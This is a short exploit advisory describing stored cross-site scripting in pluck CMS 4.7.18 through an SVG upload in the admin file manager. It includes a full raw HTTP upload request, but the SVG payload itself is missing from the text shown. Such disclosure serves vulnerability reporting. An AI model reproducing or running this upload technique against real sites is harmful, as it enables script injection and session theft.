Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS) Application: pluck Version: 4.7.18 Bugs: XSS Technology: PHP Vendor URL: https://github.com/pluck-cms/pluck Software Link: https://github.com/pluck-cms/pluck Date of found: 01-05-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. create .svg file. 2. svg file content: 3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files) poc request POST /pluck-4.7.18/admin.php?action=files HTTP/1.1 Host: localhost Content-Length: 672 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/pluck-4.7.18/admin.php?action=files Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de Connection: close ------WebKitFormBoundaryJMTiFxESCx7aNqmI Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg" Content-Type: image/svg+xml ------WebKitFormBoundaryJMTiFxESCx7aNqmI Content-Disposition: form-data; name="submit" Upload ------WebKitFormBoundaryJMTiFxESCx7aNqmI-- 4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg